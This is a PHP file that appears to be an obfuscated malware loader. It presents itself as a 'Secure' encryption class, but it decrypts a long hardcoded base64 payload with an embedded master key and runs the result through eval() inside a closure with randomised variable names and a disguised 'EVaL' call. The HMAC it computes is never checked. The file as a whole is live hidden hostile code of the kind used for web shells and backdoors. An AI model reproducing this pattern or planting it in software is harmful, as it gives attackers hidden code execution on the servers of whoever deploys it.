<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
EVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);